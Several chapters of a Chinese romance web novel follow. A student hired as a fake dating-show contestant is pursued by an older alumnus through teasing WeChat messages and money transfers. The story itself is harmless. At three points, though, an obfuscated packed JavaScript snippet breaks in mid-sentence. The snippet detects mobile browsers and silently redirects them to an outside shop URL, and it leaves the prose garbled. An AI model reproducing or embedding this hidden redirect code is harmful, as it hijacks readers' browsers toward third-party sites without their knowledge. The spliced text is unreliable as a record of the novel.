“没什么。”她匆忙为自己刚刚的话打圆场,“开个玩笑,千万别记住了。” 祝容蓄狐疑地看了她两秒,才终于点头答应:“好哦……” 既然他又突然变得这么好说话,涂栀芝又趁热打铁道:“所以之前的那些事情你也可以一并忘记,当作什么都没有发生就好啦!” 她故意用特别轻快的语气,就希望祝容蓄此刻能真的被她催眠一般,完全忘记。 一边说着,还提了提自己的小背包,悄悄迈开步子,就想着在祝容蓄的眼皮子底下就溜走。 但祝容蓄很清醒理智,完全不上她的当:“不行。” 被命运的大手扼住了后颈皮的涂栀芝:“……” 祝容蓄一伸手,像老鹰拎小鸡一样,一把提着涂栀芝的背包肩带又拽了回来。 跑是没法跑掉了,涂栀芝干脆放平了心态,双手叉腰无奈道:“还有什么指教呢,祝学长?” 为了能友好交流,她都换了称呼开口叫他一声“学长”。 而这个称呼竟然对祝容蓄真的挺受用,他弯了弯嘴角,看起来好脾气地缓缓开口:“我好不容易报上这个节目,不远千里抽空而来就是为了解决自己的终身大事。可是刚刚在台上已经答应了我的这位小姐却告诉我这一切都是假的。栀芝小姐,请问我该怎么办才好?” 怦怦,怦怦—— 涂栀芝清楚地听到了自己强烈的心跳。 怎么办? 在他无比热烈的注视下,涂栀芝某瞬间竟然荒唐地想,要不假戏真做得了。 可她理智瞬间回笼,这一切都是假的!他们认识不过几个小时,连对方底细都不清楚,怎么能一时被色诱鬼迷心窍答应?这对自己很不负责,对祝容蓄也不公平。 这应该是他和节目组之间的恩怨了,她只是一个破打工才对。 难道现在又去找导演给他重新分配一个? 涂栀芝把自己的小背包从祝容蓄的手中重新抽出来,转过身来站好,和气商量道:“要不这样,你去找导演说明情况,让他们再重新替你找一个也是真心实意来相亲的姑娘,我呢,就先走了……” 祝容蓄拒绝得果断:“我不要。” 涂栀芝:“……?” 祝容蓄:“我只要你。” 涂栀芝觉得,这其中一定是有什么误会。她嘴唇张了张,缓缓开口:“你不会……”真的喜欢上我了吧? 可说到一半,她自己都没脸把心中的这些疑惑说完。 祝容蓄如果不是演员的话,就说明方才录制现场上的那些VCR资料大概都是真的。 那样出众,甚至到了完美的地步。 出众到涂栀芝做梦都不敢想会遇到这样优秀的人,更何况他好像还对她……一见钟情? 在他面前理直气壮地问“你是不是喜欢我”,涂栀芝还没这么自信。 饶是她厚脸皮,也很少和这样出色的异性打交道。 但祝容蓄如此坚定地看着她,就像非她不可一般。 而涂栀芝正迟疑着,话还没有说完,又被路过的导演笑眯眯地打断了:“欸,你们不是已经牵手成功了吗,怎么还在这里呢?赶紧离场,不要耽误其他人的录制哦。” 来得正好,涂栀芝想想怎么和导演解释:“那个导……” 但祝容蓄比她反应更快,火速答应了导演道:“好的,您放心,我这就带她回家。” 于是,导演欣慰地点点头走了。 涂栀芝:“?” 回什么家,回个锤子! 谁答应跟你回家了! 涂栀芝看着导演远去的背影,表情更凌乱了。 她现在怎么觉得被节目组欺骗的不是祝容蓄,倒是自个儿上了贼船。 但她还没来得及发作,祝容蓄又先一步解释道:“为了让你不在导演面前露陷,不让他知道我已经了解了节目潜规则,情急之下我才这么说。对不起,栀芝,你不会怪我吧?” 这话说得,涂栀芝怎么还有心情怪他,摆摆手道:“没事没事,麻烦你了。” 祝容蓄微笑地点点头,又道:“既然涂小姐现在还没有接受我,那我可不可以换一种请求?” 涂栀芝扫了他一眼,迟疑道:“……你说说看?” 祝容蓄:“我可以追你吗?” 涂栀芝:“……”这位大佬还是一如既往地语不惊人死不休。 “不行。” 过了两秒,涂栀芝还是艰难地拒绝了他。 虽然拒绝这样一个大帅哥的追求很难,但是理智告诉她不要上头。 祝容蓄不疾不徐:“为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781328|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?涂小姐刚刚在节目中明明表现得对我也很满意。” 涂栀芝已经不淡定:“我什么时候对你表现得很满意了?” 祝容蓄眼睫颤了颤,似乎是想到了什么高兴的事情,嘴角又微微上扬:“你在看我的初印象短篇时就很专注,你都注意到了我们共同的兴趣中医药,后来我登台出场的时候你也一直盯着我,而且……” “停!打住!”涂栀芝想扑上去捂住他的嘴。 “而且你的眼神似乎也很真诚。”他还是不顾涂栀芝的疯狂跳脚,自顾自地说完了。 涂栀芝:“……” 她当然不能承认自己那么好色,开始强词夺理地解释:“学长,咱们宁大校训就有进取敬业一条,你刚刚说的那些只能说明我演技很好,非常敬业。” 祝容蓄回忆片刻,而后若有所思,“但你看别人的视频好像没有那么认真?” 涂栀芝:“……”喂。 刚刚在台下看他那么认真的女生又不止她一个,但像她这么丢脸被抓包的确实是绝无仅有。 涂栀芝说不过他,暴躁地抓了抓头发,破罐子破摔,找出万金油说辞搪塞—— “虽然你是个好人,但我们不合适。” 还是头一次被发了“好人卡”的祝容蓄并没有因此感到生气,而是挑了挑眉,微微低头拉近了两人之间的距离,“这个不合适具体指哪些方面?” 他的脸一下在自己的眼前放大,因为换下了高跟鞋,两人之间的身高差变得更加明显了。 涂栀芝仰着头小退一步,想了半天才梗着脖子丢下一句:“因为你太老了。” “……” 此话一出,给大学期间蝉联辩论赛胜方MVP的祝总干沉默了。 祝容蓄一直保持着的良好镇定终于出现了一丝裂痕,甚至眼底真情实感地流露出些许受伤。 瞬间,他那双含情眼都更加水润清澈了,恍惚泛起了泪光。 涂栀芝慌了:“你别哭!” 祝容蓄愣了一下,转而默默垂眼低眉,语气失落:“我没有哭,我只是有点伤心。” 涂栀芝短短两小时内经历了第一次被人当众表白,又是第一次拒绝别人,已经CPU干烧,完全没招了。 “那个……学长,其实我只是随口一说,毕竟你其他方面我都挑不出毛病,所以我只好……”只好从年龄这种硬条件下手了。 她挥舞着指尖,笨嘴拙舌地解释着。 祝容蓄闻言,抬眸看向她,与她对视不过一秒,又收回目光,嗓音低沉,“我应该也没那么差吧。” “嗯嗯嗯!”涂栀芝立即用力点头肯定,“岂止不错,学长简直完美啊!” 她一边吹着彩虹屁,还不忘祝福:“所以学长以后一定会遇到真爱,对方也一定会是一个非常非常优秀的人。” 话毕,她心中划过遗憾,但转瞬即逝很快想开。 他们只是因为节目乌龙机缘巧合,短暂相遇过后便会回到各自的生活,以后再无交集。命运有时很奇妙,却也有注定的平行轨迹。 而祝容蓄眉头松了松,在她看不见的角度嘴角上扬,“谢谢你的安慰,不用担心,我没有你想的那么脆弱。” “那就好。”涂栀芝松了口气。 安慰人这种事她最不擅长了,还好今天完成得效果不错。 “嗯,不逗你了。”祝容蓄的语气也变得轻松起来,“我知道这只是个节目,并不能趁此强求什么。” 涂栀芝也回以友好点头,微笑肯定,这按头“未婚夫”可算是想开了。 “但节目虽然是假的,我的感情却是真的,你的无情拒绝还是狠狠地中伤了我。所以,就麻烦你请我吃顿饭安慰我一下吧。” “嗯……啊?” 涂栀芝点头点到一半,转而满脸错愕,不敢置信地抬起头。 你说谁请谁吃饭? 5. 第 5 章 这么直白地让人请自己吃饭。 涂栀芝也是闻所未闻了,又因此彻底放下心来—— 这哪是追人的节奏,明明是讹人。 活该你之前暗恋了那么多年没有结果。 可她又有点高兴。 大约在她心里,其实也不想就此一别,永不再见,缘分戛然而止吧。 见她没有痛快答应,祝容蓄的语气又带上几分活该,不急不徐地缓声道:“当然,我也知道感情这种事,向来是一个愿打一个愿挨。涂小姐要实在不愿意,我也无法强求,只能带着一颗破碎的心黯然退场。” 涂栀芝听了,真感觉自己莫名其妙成了辜负真心的渣女,艰难反驳着,“这事其实与我无关,应该是节目组的问题才对吧?” 祝容蓄挑眉:“嗯,明白。既然涂小姐把话都说到了这个份上,想必是已经做好了赔偿违约金的准备。那我也不客气了,导——” 嗯?不对劲。 涂栀芝被他的话提醒到了,立马回过神来。 差点糊涂了,真把他领去导演组跟前那不是自爆她泄密违约吗,小孩子才会坦白从宽,成年人只有对簿公堂。 她一把捂住他的嘴,假笑两声,“嘿,你看你,又急。咱们私人恩怨,不声张嗷。” 在十倍违约金和一顿饭之间,她这点速算能力还是有的。 直到祝容蓄举起双手表示自己不会再乱说了,涂栀芝才放下手来。 祝容蓄“嗯”地答应了一声,才道:“既然如此,想必栀芝小姐这场拿到的奖金和报酬应该不少,是不是也应该分我一点?毕竟我虽然作为搭档配合你完成了整场表演,却一分钱也没有挣到,甚至还是倒贴上节目。” 这么帅的男嘉宾节目组居然没有抢着要,还找人家要报名费!涂栀芝心里一软松了口:“行,那我带你去吃香喝辣吧。” 祝容蓄闻言,嘴角微微上扬。 涂栀芝随之捂紧了自己的钱包。 毕竟祝总浑身上下都透出金钱的贵气,想来平时消费水平就高,她刚到手五千块,可不能就被他一顿饭挥霍了。 “等等,你别高兴太早。”她顿了顿。 虽然刚答应请客就限额是一件很丢份的事,但钱向来比面子重要,还是心直口快地先打了预防针,“我一个穷苦大学生,您悠着点。” “没问题。”祝容蓄爽快答应,立马拿出手机来看时间,“现在是下午四点半,还有点早,我们可以先有一些别的安排。” “能有什么安排?”涂栀芝耷拉着头,随即又想到一件事,“对了,答应你吃饭可以,但需要早些结束,因为我晚上还有年级大会需要参加,不能缺席。” 她今天的时间本来安排得很紧,若不是这边节目组提前录制完下班了,原计划里都没给自己留出像样的晚餐时间,只准备在路上吃个煎饼凑合过去。 但就是这句看似不经意的话提醒了祝容蓄,他问:“那不如现在就回宁苏大学?有劳栀芝作为向导带我逛逛许久不见的母校。” 一向爽快的涂栀芝竟难得有些犹豫。 察觉到她的微妙变化,祝容蓄顿了顿:“抱歉,如果不方便……” “没关系,我们怎么过去?”涂栀芝摇了摇头,再抬头时已是面带微笑,似乎刚刚的那一幕都是错觉。 祝容蓄敛了心中疑惑不再多问,帮忙拿上她的双肩包,随之也感染了几分学生气。 “马上晚高峰,或许得抓紧时间,我的车就停在地下停车场。” “好。”他应该很久没有回母校逛过了,涂栀芝大发善心地想。 她放下自己平时“时薪过百”的架子充当他的临时向导,“宁大变化可大了,我一定好好尽当今大学生的地主之谊。” 一边心里还在盘算,逛完了顺势带他吃个食堂,刁难的请客吃饭选址问题就这么迎刃而解了。 老娘真是天才。 - 但横跳都是瞬间的事。 涂栀芝答应完了就有些后悔。 尤其是他俩五点在南大道堵得一下都无法动弹,半小时都没挪动五百米,乌龟爬都要比车速快的时候。 涂栀芝有点坐不住了。 她的计划又乱了。 年级大会七点开始,但在此之前她还得提前半个小时去宿舍接电脑,并到达阶梯教室,在电脑上试开PPT确定没问题。 所以,按照她和祝容蓄的原计划,现在五点半,应该坐在食堂里,趁着人少还没下课,已经吃上饭了才对。 而不是在高架路上装乌龟,进退两难。 气氛还诡异的沉默。 “那个……祝学长,”又过了寂静的十分钟,涂栀芝终于绷不住,“今天可能没时间和你一起吃饭了,一会儿估计来不及,要不下次?” 祝容蓄也没想到,原本看上去天衣无缝的计划会因为堵车而搅得面目全非,难得正经:“抱歉,是我考虑不周。” 涂栀芝却想得很明白,连连摆手:“突发情况也不是你能想到的,即便我没有答应请你吃饭,坐地铁也会花更长时间。倒是耽误了你,从市区到南郊区这边还得折返,堵车更费油。” “可是,你一会儿没时间吃晚餐了。”相比这点所谓油费,他更记挂她的身体。 但涂栀芝显然不觉得一顿不吃有什么问题,更何况平时还经常来不及吃早饭,大晚上吃夜宵也是常有的事,“没关系,我一会儿让我室友随便给我带点,中午节目组盒饭也挺丰盛的,现在还不饿。” 祝容蓄点了点头,最终没再多说什么。 终于,经过长达一小时的车程,两人到达了校门口。距离晚上六点还差十分钟,倒是比他们的最坏打算还早一点。 涂栀芝解开安全带,一手搭在车门上,准备告别:“抱歉学长,这次时间不够,很感谢您送我回学校,下次有机会我一定当你的专属向导,带你好好逛学校,当然,其他地方也随你挑。” 祝容蓄也没客气,直接道:“择日不如撞日,明天行不行?” “明天?”涂栀芝在心里快速过了一遍计划表,明天就周末了,周末她不仅有其他线上兼职,还得准备毕设开题答辩,真抽不开身。 他看穿她的犹豫,退了一步:“或者周中也可以,我近期都有时间。” 涂栀芝本还在犹豫,最近的空闲确实得周一了,又担心祝容蓄抽不出身,如此更好。 她点点头,问他:“周一下午您有空吗?” “可以。”祝容蓄说着,一边掏出手机解锁屏幕,都不用操作,直接亮出的就是微信二维码,“先留个联系方式。” 涂栀芝低头看了一眼他二维码左上角的头像,好像是一副手绘,只是图案有些抽象,看不出画的是什么,而名字更简单,单单一个字母“Z”,他的姓氏。 “扫了。” “嗯。” 确认两人已经成功加上好友,祝容蓄才解锁了车门。 涂栀芝终于下了车,临下车时还不忘嘱咐:“祝学长,我先走了,您路上注意安全。” “等等。” “还有什么事吗?” “你不会临时放我鸽子吧。” 涂栀芝强忍着想要翻白眼的冲动,憋出一个微笑:“我是那种人吗?” “这很难说。” “……” 涂栀芝轻呵一声:“信不过我是吧?信不过的话就付我定金,只要钱到位,我一定准时准点恭候少爷。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781329|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 这会儿又轮到祝容蓄沉默了,良久,他才问:“定金多少?” 涂栀芝狮子大开口,“五百二十八一小时,不抹零,少一个子都不行。” 祝容蓄有些遗憾地问:“真的少一个子都不行?” “不行。” 涂栀芝假装严肃地装完,自己都忍不住笑出声,“行了学长,真没时间跟你说了,周一下午一定见,但凡迟到一分钟,我就提头来见。” “……别说得这么不吉利。” - “所以,你短短一个下午就经历了这么些事情?” 陈昔梦作为唯一一个知道涂栀芝参加了相亲节目的中国好室友,拉下耳机,半躺在她那把豪华电竞椅上,有些好笑地问。 而涂栀芝一边跟她闲扯,一边看着自己微信里最新蹦出的转账,陷入沉思。 【Z:向你转账5000元。】备注:自愿赠与。 涂栀芝先退了回去,才问:【……搞什么?】 【Z:定金,先按八小时算,少了再补。】 什么定金,简直神金。 真是疯了,涂栀芝怀疑祝容蓄是不是背着她偷她身份证借过网贷,这么急着帮她创收。 节目奖金不说,还直接转钱备注自愿赠与。 虽然她真的很想收,加上这五千她今日收入就过万了,这辈子还没过过这样的好日子,但良心实在不允许。 【吱吱兔:我开玩笑的。】 【Z:别吧,显得我占了你便宜,怪不好意思的。】 还装。 涂栀芝最后回了他一个表情包:【懒得沟通了,就算你说月亮是方的我也认了。】 发完后她收起手机,开始觅食:“有什么吃的没,我饿死了。” 刚在车上跟祝容蓄说自己不饿当然是装的,肚子都差点饿得叫出声。 陈昔梦翻翻柜子,丢给她一个黄桃,趁着涂栀芝靠近的功夫,猛吸一口气:“我就说你哪里不对劲,你特么喷香水了!” 涂栀芝捏起自己的衣袖,靠近闻了闻:“有吗?” 陈昔梦这下从她全宇宙最舒服的电竞椅上跳下来了,严肃道:“有,太有了,还是你最爱的爱马仕霜冻大地。” “说说,姐们什么时候发的财,终于舍得对这个香水了下手?” “啊……”被她这么一说,涂栀芝想起来了。 怪不得一直觉得祝容蓄身上的味道很好闻,还有些熟悉,原来是她曾经逛遍商场选出的最爱的男香,没有之一。 大约是方才在车上太久,也粘上了这个味道。 霜冻大地凌冽系列。 她的心中划过这个名字。 她曾经那么喜欢的气味,不由得伴随着联想,闪过一些往事。 陈昔梦也显然想起来了,绕着她狐疑地转了一圈,犹豫道:“不对啊,你不是说你不会自己买大地吗?你之前还说,要等你以后……” 要等她以后追到了俞止,送给他,让他每天都用,这玩意就是她的催情剂。 涂栀芝怎么可能会忘记她之前没心没肺说了那么多遍的话。 可到头来,她沾染的却是另一个男人身上的气息。 想到俞止,她还是觉得心中遗恨,仍不能完全释怀。 看到她突然变得沉默,陈昔梦自知言多,主动去洗手台为涂大小姐洗黄桃:“是他不知好歹还眼瞎,算了,往事不提。” 涂栀芝回过神来,轻笑一声,装作毫不在意,不想让陈昔梦再为自己担心:“四条腿的蛤蟆不好找,两条腿的男人多的是。再说了,我这四年也不止喜欢过他一个啊,没那么要紧。” 这不又有新的男人自己带了她最爱的气息送上门。 6. 第 6 章 两人聊了会儿,也得准备出门参加年级大会了。 趁着陈昔梦换衣服的功夫,涂栀芝手机依赖症发作。 按亮屏幕一看,“新男人”真是不遗余力地在为她“送上门”。 【Z:图片】 【Z:安全到家。】 确实巧,正好的时机,毫秒的差距。 那张照片也拍得很有水平,圆月前疏动的树影,轻柔皎洁,朦胧暧昧。没辜负他今天吹出去的顶刊级技术,一看就知道有精心构图,还调了光影。 涂栀芝弯唇一笑,觉得趣味。 上一秒转账,这一秒又开始报备,到底年纪大又留过学就是不一样,哥哥果真好手段呐。 这种聊天模式,应该怎么看怎么都很暧昧了吧? 但涂栀芝不一样,她现在陡然有种想说骚话纯贩剑的冲动。 原因也很简单。 反正她觉得祝容蓄根本不会真心喜欢自己。 涂栀芝理所当然地分析着,祝容蓄现在搞得这么暧昧,肯定是因为发现节目组坏了他找对象的好事,所以要拿她练手开刀。 等他跟她聊腻了,以他的条件很快就会有下一个。 很好,对方向她发起了雾里看花的暧昧游戏邀请。 涂·油盐不进·装傻有一套·栀芝,选择欣然接受挑战,并发誓,以她的8G冲浪网速必须骚过他,只能赢,不能输。 【吱吱兔:哥哥这照片是单发给我一个人的,还是别的姐妹都有?】 这么些年来她也被不少男生加过微信,这样的报备收过一箩筐,也应付过不少。 但有一点,他们都没祝容蓄帅。 而涂栀芝也确实很难对长得不好看的、她完全没兴趣的发这种消息,生怕对方自作多情,到时候甩都甩不掉就惹祸上身了。 但对祝容蓄发她就没这顾虑。 反正他们天差地别,他不会真的喜欢她。 祝容蓄回得很快:【当然只发给了你。】 涂栀芝轻笑一声,你就装吧。但没真这么回。 傻子都会说只给发给你一个,难道他还能真告诉她群发?那怎么演。 “跟谁聊天呢?”陈昔梦换好衣服,一边随口问道。 “啊,就是那个,我跟你说过的,新加的那位学长,也是咱们计科院的。”涂栀芝嘴角还带着笑,没打算瞒着。 倒是陈昔梦听了嗤之以鼻,“哦,那个老男人啊。” 祝容蓄在她这里没什么好印象,实在因为涂栀芝口中的下午经历太过奇葩。 即便涂栀芝再三强调他大概真不是变态,也应该真的很优秀其实长得也可以。但陈昔梦全当涂栀芝善心大发不好意思骂人,根本没听得进去。 总之在她心里,这就是一个不照镜子的老油条要霍霍不谙世事小姑娘的悲剧故事。 既然如此,涂栀芝也没打算解释了,随便祝容蓄在她心里什么印象吧,反正以后也没交集。 谁知陈昔梦话音刚落,涂栀芝的手机又弹来消息提示了。 陈昔梦正准备发作:“嘿你说那个老男人不会真的就这么缠上你……” 涂栀芝在心里为陈昔梦先向祝容蓄道了个歉,才打开手机看消息,“哎,停,是年级群通知。” 陈昔梦半信半疑地看着她:“年级群通知为什么我没收到。” “当然是因为你把所有的群都免打扰了啊大小姐。” 【辅导员戚睿诚:原定于今晚七点的大一年级大会因故改期,延迟至下周一晚七点,请相关同学相互转告。@涂栀芝@陈昔梦@齐鸢……】 这年级大会本就是大一的学习经验交流会,请了涂栀芝这位大四应届毕业绩点和综测双第一的优秀代表去演讲,在她后头@的还有几个相关大四同学,也有其他班导。 当然那些想听热闹或者看看小学妹的,也通过群聊顺便知道消息了。 “这不是玩嘛!”陈昔梦生气了,她刚才好不容易才穿进去的春季套裙,现在告诉她不出门? 涂栀芝倒觉得见怪不怪:“戚睿诚这四年,干得这点横跳事还少吗?” 陈昔梦作为辅导员助理简直不能再同意:“确实!” 但衣服都穿好了,冲着这点都没有不出门的道理。 为了一碟醋而包一顿饺子的事情她俩平时真没少干,很快达成共识:“走,去北门小吃后街吃饭!” 顺便,趁陈昔梦不注意的时候,涂栀芝又偷偷看了眼手机消息。 【Z:年级大会赶上了吗?】——六点三十分。 发消息的时间和涂栀芝当时说的提前准备时间不差分毫。 他还挺执着,也挺细心。 【吱吱兔:哎,导员不靠谱,突然顺延到了下周。】 祝容蓄回得很快:【正好顺延到周一下午?】 涂栀芝一瞬间没反应过来,过了几秒才意识到,他还在揶揄她会不会临时放鸽子。 她的形象在他那里到底是有多差,既然如此,她偏就对着回了。 【吱吱兔:真聪明,猜对了。】 【Z:这么巧,那你现在有时间了,我这就开车过来。】 【吱吱兔:这多不好意思,但很遗憾哥哥来晚了,姐妹已经有了其他安排。】 【Z:看样子是我不懂事了,姐姐今晚先陪其他哥哥吧,哪怕我下周一还等不到姐姐也没关系的。】 看看,他多能装。 涂栀芝佩服自己的聪明才智,还好她早就看穿了他的诡计,没有掉落他那假装追求的陷阱! 她笑眯眯地回:【您老黄瓜刷绿漆泡龙井?】装嫩又装茶。 【Z:行吧,不打扰姐姐和姐夫了,反正我已经习惯了一个人的生活,就是偶尔有些孤单。】 戏有点过了嗷。 涂栀芝心心念念急着吃饭,没吃饱的情况下心思都不在编骚话上,这么聊下去要输。 于是她选择暂时休战,稍稍恢复正经:【哪来的哥哥,你给我介绍的?我现在要和室友一起去后街吃饭了,再吵一句你来买单。】 【Z:向你转账1000元。】 并备注:【那这些够我再和姐姐说十句吗?】 涂栀芝:“……”懒得理。 真是转账上瘾了,真以为她不敢收是吧。 但她还是还了回去,并留了个表情包:【光想着吃饭,忘记给你喂药了:)】 终于,祝容蓄闭上了嘴。 涂栀芝的世界一片清净。 直到半小时后,涂栀芝还是有来有往地又主动向他“报备”了。 【吱吱兔:图片】烤面筋。 【吱吱兔:我吃饭啦,你记得吃药。】 她本来还有些不好意思,主动给他发这些,还是会有点过于暧昧的嫌疑。 但后面半句话一加,冤家味太冲,又铁得像亲哥们。 而刷了绿漆的“老黄瓜”此刻正坐在沙发边啃黄瓜,看到消息,很轻地笑了一下。 过了二十五岁之后,祝容蓄就尤其注意养生,平时工作也很劳神,只能在健身和饮食方面下更多功夫。 八点之后更是喝水都觉得罪恶,又加上涂栀芝今天反复提到“老”字刺激他的神经,一口把凉白开喝出了冰美式的苦味。 但涂栀芝竟主动给他发消息了,这开水又瞬间像加了蜜。 祝容蓄看着烤面筋,正想应该怎么回她。 而大脑也同步化作了一台高速计算器,自动飘出了图片上面的烧烤热量值,“蹭”地一下在祝养生的热量条里爆了表。 【晚上应该少……】吃点。 刚打出来,又删掉。 【Z:后街这家烤面筋确实很不错。】 发完又把手机放到另一边,一边看晚间新闻,安静地等她回复。 但一整晚过去,上万块的手机就没再响过。 - 而涂栀芝看完祝容蓄的消息后就寻思,这又开始装高冷了? 这可能也是老男人的一种手段。 于是她单方面宣布今晚的聊天大战正式休止,认真投入到烧烤之中。 陈昔梦见涂栀芝回神,便问她正事安排: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781330|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么说,明天中午的聚餐?” “还能怎么说?当然是去。”涂栀芝不假思索地回。 陈昔梦没想到她这么果断,不忘提醒她:“齐鸢也会去。” “去呗。” “俞止也很有可能会跟她一起。” 一提到这个名字,无数个尴尬狼狈的瞬间又蹿上涂栀芝的脑海,让她不由怔愣。 还是没法完全不在意,做不到真的只把俞止当成一个不相干的陌生人。 涂栀芝敛神,有些面无表情地淡淡道:“我们班级聚餐,他一个法学院的来干什么。” 陈昔梦说不清:“总之可能有这么个事吧。” 涂栀芝撂下一把烧烤签子,唇线绷直:“随它,我还能怕?这都咱们班最后一次集体聚餐了,还是班费聚餐,里头也有老娘一份钱,我不吃喂狗?” “霸气。” “再说,这很有可能是我学生时代的最后一次聚餐,哎,去一次少一次啊。” 涂栀芝伸了个懒腰,有点晕碳。 一想到学生时代就要结束了,还真是快。 “大聚餐是没有了,咱俩之间可不会因为一个小小的毕业就散,该聚照样。”陈昔梦说。 “那当然,等我把后面的安排定下来,咱先就来个毕业旅行。” 一说到未来,涂栀芝的眼神还是不由得茫然了一下。 大家好像都渐渐有了去处,可她兜兜转转这么久,却回到了起点,重新出发。 陈昔梦对读研深造不感兴趣,去年秋天刚开学就找好了工作。另外两位室友,张媛保研,孔珺瑶通过了清北初试。 而她,本该稳稳保研清北,却在一连串变故后,一无所有。 夜市喧闹,可一提到毕业有关的话题,陈昔梦思及涂栀芝的曲折遭遇,又变得有些伤感。 幸好,这几次她陪栀芝去医院复查,都一切正常。她也是半年前才知道,表面这样乐观开朗的涂栀芝,竟然有过反复五年的抑郁症史。 陈昔梦放下饮料,还是忍不住顺着问道:“栀,你现在还没想好毕业以后什么安排吗?” 涂栀芝顿了顿,留学,考研,甚至延毕保研,都不对。 她摇了摇头,现实终究会打败夙愿。 “已经想的差不多了。工作吧,挣钱。” 如今,独立于她而言真的很重要。 完全走出混沌家庭的第一步就是经济独立。 陈昔梦懂她:“也是,以咱这实力,找个小公司上个轻松点的班,先休息一年,慢慢把自己养好了,反正年轻,以后干什么都来得及。” “没错。” 想到毕业后,找到一份可以自己养活自己的工作,涂栀芝的肩膀都松快许多。 - 周六一早,涂栀芝便支起床上小桌板开始线上兼职赚外快。 完了以后也没停着歇,马不停蹄地又开始开始优化简历。 现在形势是真不太好,去年秋招她也没赶上。 一个年关过去岗位又少了些,但好歹还是“金三银四”,总有些新出的岗位能看看。 比起刚入学那时候软件工程的风光程度,涂栀芝毕业这年的就业市场情况又大不如前了。 相比工作地点、工作岗位、工作强度,她一路看过去,发现自己还是最在乎薪资和福利待遇。 而能给得了她想象中的薪资待遇的公司也就那么几家大公司,只是工作强度高。 但结合自己的身体情况,太高的工作强度她没法承受。 涂栀芝衡量再三,最终投了那几家大公司里相对轻松一点的岗位。 想着大公司至少制度好、分工又会相对更加明确,有的小公司即便薪资待遇看起来还行,但说不准强度更高还无法保证薪资稳定。 回车,发送。 一个上午过去,涂栀芝又投了二十多家公司。 顺便又朝着天拜了两拜,但愿能早日得到回复,如果能早些去实习也不错,就能早日拿到工资。 打开手机,才发现祝容蓄又给她发了消息。 7. 第 7 章 【Z:等了一天一夜,姐姐今早还没给我喂药。】 涂栀芝:“?” 为找工作积压的愁思瞬间一扫而空。 喂,这就喂,不喂她就叫楚雨荨。 涂栀芝反手掏出一个【脑残片】的表情包发给他,并留言:【一日三次,一次两片,饭后半小时吃,记住了吗?】 【Z:记住了。】 他的回复快如闪电,涂栀芝怀疑他一天到晚都在不务正业的玩手机。 【Z:但我记性不太好,你能每天提醒我三次吗?】 【吱吱兔:你把我当Siri使?】 【Z:不敢,但你应该没它博学。】 涂栀芝刚投完n份网申简历呢。 【吱吱兔:少胡说八道,我年级第一。】 【Z:巧了,我也是。】 涂栀芝嘴角扯出一抹冷笑。 【吱吱兔:英雄不论往事,只看今朝,老学长这都多少年了,就别致青春了吧:)】 这无疑是一记绝杀,祝容蓄又被.干沉默了。 而涂栀芝全然get不到他等了一天一夜的深意,只有嘴仗打赢了的士气大涨。 打蛇找七寸,她赢得好牛逼。 - “笃笃——”陈昔梦敲了敲自己的床边,终于探出个头来。 早早找好工作的应届毕业生也是快活,一觉直接睡到中午,也不知道饿,中间还不带醒。 拉开窗帘,环顾寝室,床下的桌边空空荡荡,陈昔梦发出疑问:“咦?怎么宿舍里就你一个人?” 涂栀芝拉开自己的床帘,和她幽幽然对视,“都这个点了,她俩早出门了。” 闻言,陈昔梦笑嘻嘻道:“我就知道,我俩亲亲,你就是这么爱我,所以周末特意留在这儿和我享受二人世界。” 涂栀芝鸡皮疙瘩掉了一床。 但经过了四年的“调教”,对于陈昔梦现在脱口而出的任何“调戏”都能坦然接受,并且“甜蜜蜜”回去:“那当然啦,谁让你是我最亲爱的宝宝呢。” 这话说得,语气那叫一个抑扬顿挫。 但涂栀芝面无表情,反而显得有些阴险怪气,即便她并没有那个意思。 陈昔梦笑得前俯后仰,床都晃得停不住。 “哎呀,当年刚入宿舍你那个没有感情的人机样,要是现在录了你这嘴脸给四年前的你看,包有效果的。” 涂栀芝满脸黑线:“得了吧。” “说真的,经过我四年的努力,你现在终于有点人情味了。这是为你以后甜甜蜜蜜的恋爱调情打基础,以后你对象就偷着乐吧,前人栽树后人乘凉,到时候他得给我磕两个。” “……” 而祝容蓄遥远地打了个喷嚏,还在冥思苦想地盯着涂栀芝发的那个“老”字发呆。 陈昔梦闹够了,又问她,“咋样啦,听你敲了一上午键盘,终于忙完了?” 但涂栀芝的表情绝对算不上乐观,“哎,先这么投着吧,希望能约到面试。” “你就别装了吧,咱们系若是连你都找不到合适的工作,以后软件工程这专业都得被避雷。”陈昔梦全当她妄自菲薄,“得了,像我这样的都能找到工作,你也不差这三两天。” 显然,涂栀芝不以为然,“小半年过去,这情况又不一样了,一波又比一波难。” 